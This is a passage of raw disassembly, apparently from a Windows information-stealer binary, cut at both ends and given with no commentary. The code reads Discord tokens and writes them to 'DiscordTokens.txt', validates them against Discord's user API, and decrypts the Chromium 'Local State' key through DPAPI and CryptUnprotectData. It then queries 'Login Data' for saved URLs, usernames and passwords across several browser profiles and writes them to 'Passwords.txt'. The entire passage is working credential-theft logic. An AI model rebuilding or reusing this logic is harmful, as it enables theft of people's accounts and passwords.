call fcn.00443750
push str.92_65_112_112_108_105_99_97_116_105_111_110_115
lea ecx, [ebp - 0x58]
call fcn.00423c90
lea edx, [ebp - 0x58]
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0x28c]
call fcn.00421f10
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x68
call fcn.00406430
push str.92_68_105_115_99_111_114_100
lea ecx, [ebp - 0x9c]
call fcn.00423c90
lea edx, [ebp - 0x9c]
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0x274]
call fcn.00421f10
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x6b
call fcn.00406430
lea ecx, [ebp - 0x1617]
call fcn.00411420
mov edi, eax
lea ecx, [ebp - 0x28c]
lea eax, [ebp - 0x16d0]
push eax
call fcn.00447300
lea ecx, [ebp - 0x28c]
mov esi, dword [eax]
lea eax, [ebp - 0x16d4]
push eax
call fcn.00423c70
push edi
push esi
lea ecx, [ebp - 0x17c]
push dword [eax]
call fcn.00459570
push eax
mov edx, 0x6ed414
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x1e8]
call fcn.00452b20
add esp, 4
lea ecx, [ebp - 0x17c]
mov byte [ebp - 4], 0x6e
call fcn.00406430
lea ecx, [ebp - 0x1618]
call fcn.00411420
mov edi, eax
lea ecx, [ebp - 0x274]
lea eax, [ebp - 0x16d8]
push eax
call fcn.00447300
lea ecx, [ebp - 0x274]
mov esi, dword [eax]
lea eax, [ebp - 0x16dc]
push eax
call fcn.00423c70
push edi
push esi
lea ecx, [ebp - 0x3b0]
push dword [eax]
call fcn.00459570
push eax
lea edx, [ebp - 0x1e8]
mov byte [ebp - 4], 0x6f
lea ecx, [ebp - 0xb4]
call fcn.00452b20
add esp, 4
lea ecx, [ebp - 0x3b0]
mov byte [ebp - 4], 0x71
call fcn.00406430
push 0
lea eax, [ebp - 0x1e8]
push eax
lea ecx, [ebp - 0x58]
call fcn.004516c0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x72
call fcn.00409800
test al, al
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0x58]
sete byte [ebp - 0x15ca]
call fcn.00406430
cmp byte [ebp - 0x15ca], 0
je 0x42653f
push 0
lea eax, [ebp - 0x1e8]
push eax
lea ecx, [ebp - 0x58]
call fcn.004516c0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x73
call fcn.004099d0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x71
call fcn.00406430
push 0
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x58]
call fcn.004516c0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x74
call fcn.00409800
test al, al
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0x58]
sete byte [ebp - 0x15ca]
call fcn.00406430
cmp byte [ebp - 0x15ca], 0
je 0x4265a3
push 0
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x58]
call fcn.004516c0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x75
call fcn.004099d0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x71
call fcn.00406430
push str.92_68_105_115_99_111_114_100_84_111_107_101_110_115_46_116_120_116
lea ecx, [ebp - 0x58]
call fcn.00423c90
lea edx, [ebp - 0x58]
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0x164]
call fcn.00421f10
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x78
call fcn.00406430
lea ecx, [ebp - 0x1623]
call fcn.00411420
mov edi, eax
lea ecx, [ebp - 0x164]
lea eax, [ebp - 0x16e0]
push eax
call fcn.00447300
lea ecx, [ebp - 0x164]
mov esi, dword [eax]
lea eax, [ebp - 0x1710]
push eax
call fcn.00423c70
push edi
push esi
lea ecx, [ebp - 0x17c]
push dword [eax]
call fcn.00459570
push eax
lea edx, [ebp - 0xb4]
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0xe4]
call fcn.00452b20
add esp, 4
lea ecx, [ebp - 0x17c]
mov byte [ebp - 4], 0x7b
call fcn.00406430
push 0xb0
lea ecx, [ebp - 0x4c8]
call fcn.0042d9a0
push 1
push 0x40
push 8
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x4c8]
call fcn.0043ee40
lea eax, [ebp - 0x4c8]
mov byte [ebp - 4], 0x7c
push str._nToken_:
push eax
call fcn.00453340
mov edi, dword [ebp - 0x15d8]
add esp, 8
push edi
push eax
call fcn.00453320
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
push 8
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 0x7d
call fcn.00409910
lea ecx, [ebp - 0x2a4]
call fcn.0040d8d0
lea eax, [ebp - 0x15f4]
mov byte [ebp - 4], 0x7e
push edi
push eax
call fcn.004b9b40
add esp, 8
mov esi, eax
push str.Authorization
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x7f
call fcn.00423c90
push esi
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x80
push eax
lea ecx, [ebp - 0x2a4]
call fcn.00452c30
lea ecx, [ebp - 0x58]
call fcn.00406430
lea ecx, [ebp - 0x15f4]
mov byte [ebp - 4], 0x7e
call fcn.00406430
push str.Content_Type
lea ecx, [ebp - 0x58]
call fcn.00423c90
push str.application_json
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x81
push eax
lea ecx, [ebp - 0x2a4]
call fcn.0045a5d0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x7e
call fcn.00406430
push str.104_116_116_112_115_58_47_47_100_105_115_99_111_114_100_97_112_112_46_99_111_109_47_97_112_105_47_118_54_47_117_115_101_114_115_47_64_109_101
lea ecx, [ebp - 0x58]
call fcn.004113c0
lea edx, [ebp - 0x58]
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0x17c]
call fcn.00424de0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x84
call fcn.00447640
lea eax, [ebp - 0x17c]
push eax
lea eax, [ebp - 0x3b0]
push eax
call fcn.004b9b40
add esp, 8
push 8
lea ecx, [ebp - 0x3c8]
mov byte [ebp - 4], 0x85
call fcn.00409910
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x17e0]
call fcn.0048dba0
lea eax, [ebp - 0x17e0]
mov byte [ebp - 4], 0x86
push eax
lea ecx, [ebp - 0x3c8]
call fcn.004afea0
lea ecx, [ebp - 0x17e0]
mov byte [ebp - 4], 0x88
call fcn.0040d7f0
push 8
lea ecx, [ebp - 0x2e8]
call fcn.00409910
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x15d0], esp
push 0x6e9d78
call fcn.00435370
lea ecx, [ebp - 0x2e8]
mov dword [ebp - 0x15d0], eax
call fcn.0040e240
lea ecx, [ebp - 0x2e8]
mov byte [ebp - 4], 0x89
call fcn.0040e2d0
lea ecx, [ebp - 0x2a4]
push ecx
mov ecx, eax
call fcn.0040d910
lea eax, [ebp - 0x1638]
push eax
call fcn.0040b6b0
add esp, 4
push eax
sub esp, 8
mov byte [ebp - 4], 0x8a
lea eax, [ebp - 0x2e8]
mov dword [ebp - 0x15d0], esp
mov ecx, esp
push eax
call fcn.0040df00
mov dword [ebp - 0x15d0], eax
lea ecx, [ebp - 0x3c8]
lea eax, [ebp - 0x16f4]
push eax
call fcn.004b3690
mov esi, eax
lea eax, [ebp - 0x4c8]
mov byte [ebp - 4], 0x8b
push eax
lea ecx, [ebp - 0x1690]
call fcn.0042c960
push eax
lea eax, [ebp - 0x16ec]
mov ecx, esi
push eax
call fcn.0045a880
mov ecx, eax
mov byte [ebp - 4], 0x8c
call fcn.0040d450
lea ecx, [ebp - 0x16ec]
call fcn.00408ae0
lea ecx, [ebp - 0x16f4]
call fcn.00408ae0
lea ecx, [ebp - 0x1638]
mov byte [ebp - 4], 0x89
call fcn.0040b6c0
push str.104_116_116_112_115_58_47_47_100_105_115_99_111_114_100_97_112_112_46_99_111_109_47_97_112_105_47_118_54_47_117_115_101_114_115_47_64_109_101
lea ecx, [ebp - 0x58]
call fcn.004113c0
lea edx, [ebp - 0x58]
mov byte [ebp - 4], 0x8d
lea ecx, [ebp - 0x4e0]
call fcn.00424de0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x8f
call fcn.00447640
lea eax, [ebp - 0x4e0]
push eax
lea eax, [ebp - 0x9c]
push eax
call fcn.004b9b40
add esp, 8
push 8
lea ecx, [ebp - 0x3c0]
mov byte [ebp - 4], 0x90
call fcn.00409910
lea eax, [ebp - 0x9c]
push eax
lea ecx, [ebp - 0x17e0]
call fcn.0048dba0
lea eax, [ebp - 0x17e0]
mov byte [ebp - 4], 0x91
push eax
lea ecx, [ebp - 0x3c0]
call fcn.004afea0
lea ecx, [ebp - 0x17e0]
mov byte [ebp - 4], 0x93
call fcn.0040d7f0
push 8
lea ecx, [ebp - 0x29c]
call fcn.00409910
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x15d0], esp
push 0x6e9d78
call fcn.00435370
lea ecx, [ebp - 0x29c]
mov dword [ebp - 0x15d0], eax
call fcn.0040e240
lea ecx, [ebp - 0x29c]
mov byte [ebp - 4], 0x94
call fcn.0040e2d0
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x15f4]
push edi
push eax
call fcn.004b9b40
add esp, 8
mov esi, eax
push str.Authorization
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x95
call fcn.00423c90
push esi
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x96
mov ecx, dword [ebp - 0x38]
push eax
call fcn.00452c30
lea ecx, [ebp - 0x58]
call fcn.00406430
lea ecx, [ebp - 0x15f4]
mov byte [ebp - 4], 0x94
call fcn.00406430
lea ecx, [ebp - 0x29c]
call fcn.0040e2d0
push str.Content_Type
lea ecx, [ebp - 0x58]
mov esi, eax
call fcn.00423c90
push str.application_json
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x97
push eax
mov ecx, esi
call fcn.0045a5d0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x94
call fcn.00406430
lea eax, [ebp - 0x1634]
push eax
call fcn.0040b6b0
add esp, 4
push eax
sub esp, 8
mov byte [ebp - 4], 0x98
lea eax, [ebp - 0x29c]
mov dword [ebp - 0x15d0], esp
mov ecx, esp
push eax
call fcn.0040df00
mov dword [ebp - 0x15d0], eax
lea ecx, [ebp - 0x3c0]
lea eax, [ebp - 0x170c]
push eax
call fcn.004b3690
mov byte [ebp - 4], 0x99
lea ecx, [ebp - 0x15fd]
mov byte [ebp - 0x15fd], 0
push ecx
lea ecx, [ebp - 0x1704]
push ecx
mov ecx, eax
call fcn.0045ac80
mov esi, eax
lea eax, [ebp - 0xe4]
mov byte [ebp - 4], 0x9a
push eax
push edi
lea ecx, [ebp - 0x1ac]
call fcn.0042d710
push eax
lea eax, [ebp - 0x16fc]
mov byte [ebp - 4], 0x9b
push eax
mov ecx, esi
call fcn.0045b320
mov ecx, eax
mov byte [ebp - 4], 0x9c
call fcn.0040d450
lea ecx, [ebp - 0x16fc]
call fcn.00408ae0
lea ecx, [ebp - 0x1ac]
call fcn.0042d9c0
lea ecx, [ebp - 0x1704]
call fcn.00408ae0
lea ecx, [ebp - 0x170c]
call fcn.00408ae0
lea ecx, [ebp - 0x1634]
call fcn.0040b6c0
lea ecx, [ebp - 0x29c]
call fcn.00408ae0
lea ecx, [ebp - 0x3c0]
call fcn.00408ae0
lea ecx, [ebp - 0x9c]
call fcn.00406430
lea ecx, [ebp - 0x4e0]
call fcn.00447640
lea ecx, [ebp - 0x2e8]
call fcn.00408ae0
lea ecx, [ebp - 0x3c8]
call fcn.00408ae0
lea ecx, [ebp - 0x3b0]
call fcn.00406430
lea ecx, [ebp - 0x17c]
call fcn.00447640
lea ecx, [ebp - 0x2a4]
call fcn.0040db60
lea ecx, [ebp - 0x4c8]
mov dword [ebp - 4], 0x7c
call fcn.0042d910
lea ecx, [ebp - 0xe4]
call fcn.00406430
lea ecx, [ebp - 0x164]
call fcn.00447640
lea ecx, [ebp - 0xb4]
call fcn.00406430
lea ecx, [ebp - 0x1e8]
call fcn.00406430
lea ecx, [ebp - 0x274]
call fcn.00447640
lea ecx, [ebp - 0x28c]
mov byte [ebp - 4], 0x5b
call fcn.00447640
mov eax, dword [ebp - 0x1604]
add edi, 0x18
mov dword [ebp - 0x15d8], edi
jmp 0x426336
mov eax, dword [ebp - 0x1604]
add edi, 0x18
mov dword [ebp - 0x15d8], edi
jmp 0x426336
push dword [ebp - 0x14f0]
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea ecx, [ebp - 0x3ec]
call fcn.00443780
lea ecx, [ebp - 0x228]
call fcn.004421b0
lea ecx, [ebp - 0x398]
call fcn.00443780
lea ecx, [ebp - 0x2c8]
call fcn.00443780
lea ecx, [ebp - 0x53c]
call fcn.00443780
lea ecx, [ebp - 0xcc]
call fcn.00447640
lea ecx, [ebp - 0x34]
call fcn.00447640
lea ecx, [ebp - 0x414]
call fcn.00443c80
lea ecx, [ebp - 0x74]
call fcn.00447640
lea ecx, [ebp - 0x520]
call fcn.0040ff90
lea ecx, [ebp - 0x108]
call fcn.00447640
lea ecx, [ebp - 0x25c]
call fcn.00447640
lea ecx, [ebp - 0x400]
call fcn.00443a90
lea ecx, [ebp - 0x688]
call fcn.00412480
lea ecx, [ebp - 0x244]
call fcn.00447640
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x380]
call fcn.00447640
push 0
lea eax, [ebp - 0x144]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x9e
call fcn.00409800
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x15ca], al
mov byte [ebp - 4], 0x34
call fcn.00406430
cmp byte [ebp - 0x15ca], 0
je 0x42b678
push str.92_76_111_99_97_108_32_83_116_97_116_101
lea ecx, [ebp - 0x34]
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x9f
lea ecx, [ebp - 0x274]
call fcn.00424de0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xa1
call fcn.00447640
lea eax, [ebp - 0x274]
push eax
lea edx, [ebp - 0x144]
lea ecx, [ebp - 0x244]
call fcn.00451460
add esp, 4
push 0
lea eax, [ebp - 0x244]
mov byte [ebp - 4], 0xa2
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xa3
call fcn.00409800
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x15ca], al
mov byte [ebp - 4], 0xa2
call fcn.00406430
cmp byte [ebp - 0x15ca], 0
je 0x42b662
push 0xb8
lea ecx, [ebp - 0x15c8]
call fcn.00412510
push 1
push 0x40
push 1
lea eax, [ebp - 0x244]
push eax
lea ecx, [ebp - 0x15c8]
call fcn.00441b50
lea ecx, [ebp - 0x15c8]
mov byte [ebp - 4], 0xa4
call fcn.00441a50
test al, al
jne 0x426e0d
push str.Failed_to_open_JSON_file.
push 0x6ec250
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea ecx, [ebp - 0x15c8]
call fcn.00412480
lea ecx, [ebp - 0x244]
call fcn.00447640
lea ecx, [ebp - 0x274]
jmp 0x42594f
push 0
lea ecx, [ebp - 0x1f8]
call fcn.00443ae0
lea edx, [ebp - 0x1f8]
mov byte [ebp - 4], 0xa5
lea ecx, [ebp - 0x15c8]
call fcn.00443930
lea ecx, [ebp - 0x15c8]
call fcn.00441a10
push str.os_crypt
lea eax, [ebp - 0x17f0]
push eax
lea ecx, [ebp - 0x1f8]
call fcn.0045a150
mov esi, eax
lea ecx, [ebp - 0x1f8]
lea eax, [ebp - 0x1800]
push eax
call fcn.004439e0
push eax
mov ecx, esi
call fcn.0045a220
test al, al
je 0x42b641
push str.os_crypt
lea ecx, [ebp - 0x1f8]
call fcn.00459410
push str.encrypted_key
lea ecx, [ebp - 0x1810]
push ecx
mov ecx, eax
call fcn.0045a310
push str.os_crypt
lea ecx, [ebp - 0x1f8]
mov esi, eax
call fcn.00459410
lea ecx, [ebp - 0x1820]
push ecx
mov ecx, eax
call fcn.004439e0
push eax
mov ecx, esi
call fcn.0045a220
test al, al
je 0x42b641
push str.os_crypt
lea ecx, [ebp - 0x1f8]
call fcn.00459410
push str.encrypted_key
mov ecx, eax
call fcn.00459410
lea ecx, [ebp - 0x28c]
push ecx
mov ecx, eax
call fcn.00459550
lea ecx, [ebp - 0x22c]
call fcn.00447930
push 0x40
lea ecx, [ebp - 0x580]
mov byte [ebp - 4], 0xa7
call fcn.0042d770
push 0x40
call fcn.0061ec07
mov esi, eax
add esp, 4
mov dword [ebp - 0x1714], esi
push 0x40
mov ecx, esi
mov byte [ebp - 4], 0xa8
call fcn.0042d770
push 0x14
call fcn.0061ec07
mov edi, eax
add esp, 4
mov dword [ebp - 0x164c], edi
push 0x14
mov ecx, edi
mov byte [ebp - 4], 0xa9
call fcn.004125b0
lea eax, [ebp - 0x22c]
mov ecx, edi
push eax
call fcn.00442fb0
push eax
mov ecx, esi
mov byte [ebp - 4], 0xa8
call fcn.00410350
lea ecx, [ebp - 0x28c]
mov byte [ebp - 4], 0xa7
mov edi, eax
call fcn.004436e0
lea ecx, [ebp - 0x28c]
mov esi, eax
call fcn.00447230
push edi
push 1
push esi
push eax
lea ecx, [ebp - 0x580]
call fcn.0040fe20
push str.DPAPI
lea ecx, [ebp - 0x25c]
mov byte [ebp - 4], 0xaa
call fcn.004113c0
lea ecx, [ebp - 0x25c]
mov byte [ebp - 4], 0xab
call fcn.004436e0
push eax
push 0
lea eax, [ebp - 0x15f4]
push eax
lea ecx, [ebp - 0x22c]
call fcn.00447060
lea ecx, [ebp - 0x25c]
push ecx
push eax
call fcn.00454990
add esp, 8
mov byte [ebp - 0x15ca], al
lea ecx, [ebp - 0x15f4]
call fcn.00447640
cmp byte [ebp - 0x15ca], 0
je 0x42702d
push 0xffffffffffffffff
lea ecx, [ebp - 0x25c]
call fcn.004436e0
push eax
lea eax, [ebp - 0x15f4]
push eax
lea ecx, [ebp - 0x22c]
call fcn.00447060
push eax
lea ecx, [ebp - 0x22c]
call fcn.00447690
lea ecx, [ebp - 0x15f4]
call fcn.00447640
push 0
lea ecx, [ebp - 0x22c]
call fcn.004472e0
lea ecx, [ebp - 0x22c]
mov dword [ebp - 0x1500], eax
call fcn.004436e0
mov dword [ebp - 0x1504], eax
xorps xmm0, xmm0
lea eax, [ebp - 0x14fc]
movlpd qword [ebp - 0x14fc], xmm0
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x1504]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x42b615
push 0xc
lea ecx, [ebp - 0x12c]
call fcn.00413c10
lea ecx, [ebp - 0x1621]
call fcn.00411420
mov ecx, dword [ebp - 0x14f8]
push eax
mov eax, dword [ebp - 0x14fc]
add eax, ecx
push eax
push ecx
lea ecx, [ebp - 0x12c]
call fcn.0045a3e0
push 0xc
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 0xac
call fcn.00413c10
lea ecx, [ebp - 0x1620]
call fcn.00411420
push str.71_117_101_115_116_32_80_114_111_102_105_108_101
lea ecx, [ebp - 0x17e0]
mov esi, eax
call fcn.004113c0
push str.68_101_102_97_117_108_116
lea ecx, [ebp - 0x17c8]
mov byte [ebp - 4], 0xad
call fcn.004113c0
push str.80_114_111_102_105_108_101_32_49
lea ecx, [ebp - 0x17b0]
mov byte [ebp - 4], 0xae
call fcn.004113c0
push str.80_114_111_102_105_108_101_32_50
lea ecx, [ebp - 0x1798]
mov byte [ebp - 4], 0xaf
call fcn.004113c0
push str.80_114_111_102_105_108_101_32_51
lea ecx, [ebp - 0x1780]
mov byte [ebp - 4], 0xb0
call fcn.004113c0
push str.80_114_111_102_105_108_101_32_52
lea ecx, [ebp - 0x1768]
mov byte [ebp - 4], 0xb1
call fcn.004113c0
push str.80_114_111_102_105_108_101_32_53
lea ecx, [ebp - 0x1750]
mov byte [ebp - 4], 0xb2
call fcn.004113c0
lea eax, [ebp - 0x1738]
mov byte [ebp - 4], 0xb3
push eax
lea eax, [ebp - 0x17e0]
push eax
lea ecx, [ebp - 0x171c]
call fcn.00440d30
push esi
lea ecx, [ebp - 0xf0]
push dword [eax + 4]
push dword [eax]
call fcn.00443800
push fcn.00447640
push 7
push 0x18
lea eax, [ebp - 0x17e0]
mov byte [ebp - 4], 0xb5
push eax
call fcn.0061ec37
lea ecx, [ebp - 0xf0]
mov byte [ebp - 0x15ca], 0
call fcn.00408a70
mov edi, eax
mov dword [ebp - 0x1608], edi
lea ecx, [ebp - 0xf0]
call fcn.00414730
mov dword [ebp - 0x38], eax
mov ecx, edi
cmp ecx, dword [ebp - 0x38]
je 0x427a6e
mov esi, edi
lea ecx, [ebp - 0x15f4]
mov edx, edi
mov dword [ebp - 0x15d8], esi
call fcn.00424de0
push eax
mov ecx, edi
call fcn.00447690
lea ecx, [ebp - 0x15f4]
call fcn.00447640
push 0x6a7b00
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x15f4]
push eax
call fcn.004513b0
add esp, 0xc
push edi
push eax
lea eax, [ebp - 0xb4]
mov byte [ebp - 4], 0xb6
push eax
call fcn.00451520
add esp, 0xc
lea ecx, [ebp - 0x15f4]
call fcn.00447640
lea ecx, [ebp - 0x108]
call fcn.00447930
lea ecx, [ebp - 0x74]
call fcn.00447930
lea eax, [ebp - 0x1cc]
mov byte [ebp - 4], 0xba
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
lea ecx, [ebp - 0x34]
push str.92_76_111_103_105_110_32_68_97_116_97
test al, al
je 0x427302
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0xbb
lea ecx, [ebp - 0xcc]
call fcn.00424de0
push eax
lea edx, [ebp - 0x144]
mov byte [ebp - 4], 0xbc
lea ecx, [ebp - 0x15f4]
call fcn.004514c0
add esp, 4
lea ecx, [ebp - 0x108]
push eax
call fcn.00447690
lea ecx, [ebp - 0x15f4]
call fcn.00447640
lea ecx, [ebp - 0xcc]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xba
call fcn.00447640
push str.92_70_114_101_100_121_95_68_97_116_97
lea ecx, [ebp - 0x34]
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0xbd
lea ecx, [ebp - 0xcc]
call fcn.00424de0
mov byte [ebp - 4], 0xbe
lea edx, [ebp - 0x144]
jmp 0x427389
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0xbf
lea ecx, [ebp - 0xcc]
call fcn.00424de0
push eax
lea edx, [ebp - 0xb4]
mov byte [ebp - 4], 0xc0
lea ecx, [ebp - 0x15f4]
call fcn.004514c0
add esp, 4
lea ecx, [ebp - 0x108]
push eax
call fcn.00447690
lea ecx, [ebp - 0x15f4]
call fcn.00447640
lea ecx, [ebp - 0xcc]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xba
call fcn.00447640
push str.92_70_114_101_100_121_95_68_97_116_97
lea ecx, [ebp - 0x34]
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0xc1
lea ecx, [ebp - 0xcc]
call fcn.00424de0
mov byte [ebp - 4], 0xc2
lea edx, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x15f4]
call fcn.004514c0
add esp, 4
lea ecx, [ebp - 0x74]
push eax
call fcn.00447690
lea ecx, [ebp - 0x15f4]
call fcn.00447640
lea ecx, [ebp - 0xcc]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xba
call fcn.00447640
push 0
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xc3
call fcn.00409800
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x15c9], al
mov byte [ebp - 4], 0xba
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x4278c3
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xc4
call fcn.00409800
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x15c9], al
mov byte [ebp - 4], 0xba
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x42745a
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xc5
call fcn.004099a0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xba
call fcn.00406430
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0xcc]
call fcn.0045a110
push 0
lea eax, [ebp - 0x108]
mov byte [ebp - 4], 0xc6
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea edx, [ebp - 0xcc]
mov byte [ebp - 4], 0xc7
lea ecx, [ebp - 0x34]
call fcn.00409730
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x15c9], al
call fcn.00406430
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0xba
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x4278c3
cmp byte [ebp - 0x15ca], 0
jne 0x4278c3
lea eax, [ebp - 0x14e8]
push eax
lea ecx, [ebp - 0x74]
call fcn.00447230
push eax
call fcn.00564840
add esp, 8
test eax, eax
jne 0x427507
push eax
lea eax, [ebp - 0x5c]
push eax
push 0xffffffffffffffff
push str.SELECT_action_url__username_value__password_value_FROM_logins
push dword [ebp - 0x14e8]
call fcn.00565480
add esp, 0x14
test eax, eax
je 0x427590
push dword [ebp - 0x14e8]
call fcn.00562bf0
add esp, 4
lea ecx, [ebp - 0x74]
call fcn.00447640
lea ecx, [ebp - 0x108]
call fcn.00447640
lea ecx, [ebp - 0xb4]
call fcn.00447640
lea ecx, [ebp - 0xf0]
call fcn.00443780
lea ecx, [ebp - 0x12c]
call fcn.00443c80
lea ecx, [ebp - 0x25c]
call fcn.00447640
lea ecx, [ebp - 0x580]
call fcn.0040ff90
lea ecx, [ebp - 0x22c]
call fcn.00447640
lea ecx, [ebp - 0x28c]
call fcn.00447640
lea ecx, [ebp - 0x1f8]
call fcn.00443a90
jmp 0x426dec
mov dword [ebp - 4], 0xba
nop dword [eax]
push dword [ebp - 0x5c]
call fcn.005661b0
add esp, 4
cmp eax, 0x64
jne 0x427846
push 0
push dword [ebp - 0x5c]
call fcn.00566680
push 1
push dword [ebp - 0x5c]
mov esi, eax
mov dword [ebp - 0x1614], esi
call fcn.00566680
push 2
push dword [ebp - 0x5c]
mov edi, eax
mov dword [ebp - 0x1610], edi
call fcn.00566680
add esp, 0x18
mov dword [ebp - 0x1604], eax
test eax, eax
je 0x427590
mov ecx, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4275e4
sub ecx, edx
mov dword [ebp - 0x15d0], ecx
je 0x427590
test esi, esi
je 0x427590
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427600
sub ecx, edx
mov dword [ebp - 0x15d0], ecx
je 0x427590
test edi, edi
je 0x427590
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427622
sub ecx, edx
mov dword [ebp - 0x15d0], ecx
je 0x427590
lea ecx, [ebp - 0x161f]
mov byte [ebp - 4], 0xc8
call fcn.00411420
mov edi, eax
lea ecx, [ebp - 0x12c]
lea eax, [ebp - 0x1650]
push eax
call fcn.00443730
lea ecx, [ebp - 0x12c]
mov esi, dword [eax]
lea eax, [ebp - 0x1654]
push eax
call fcn.00443740
push edi
push esi
lea ecx, [ebp - 0x15f4]
push dword [eax]
call fcn.0045a580
mov esi, eax
push dword [ebp - 0x1604]
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xc9
call fcn.004113c0
push esi
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0xca
push eax
lea eax, [ebp - 0x9c]
push eax
lea ecx, [ebp - 0x39]
call fcn.0042b770
lea ecx, [ebp - 0x34]
call fcn.00447640
lea ecx, [ebp - 0x15f4]
mov byte [ebp - 4], 0xcd
call fcn.00447640
push str.92_80_97_115_115_119_111_114_100_115_46_116_120_116
lea ecx, [ebp - 0xcc]
call fcn.00423c90
lea edx, [ebp - 0xcc]
mov byte [ebp - 4], 0xce
lea ecx, [ebp - 0xe4]
call fcn.00421f10
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0xd0
call fcn.00406430
lea ecx, [ebp - 0x161e]
call fcn.00411420
mov edi, eax
lea ecx, [ebp - 0xe4]
lea eax, [ebp - 0x1658]
push eax
call fcn.00447300
lea ecx, [ebp - 0xe4]
mov esi, dword [eax]
lea eax, [ebp - 0x165c]
push eax
call fcn.00423c70
push edi
push esi
lea ecx, [ebp - 0x15f4]
push dword [eax]
call fcn.00459570
push eax
mov edx, 0x6ed414
mov byte [ebp - 4], 0xd1
lea ecx, [ebp - 0x380]
call fcn.00452b20
add esp, 4
mov byte [ebp - 4], 0xd3
lea ecx, [ebp - 0x15f4]
call fcn.00406430
push 0xb0
lea ecx, [ebp - 0x4c8]
call fcn.0042d9a0
push 1
push 0x40
push 8
lea eax, [ebp - 0x380]
push eax
lea ecx, [ebp - 0x4c8]
call fcn.0043ee40
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0xd4
call fcn.0043ee30
test al, al
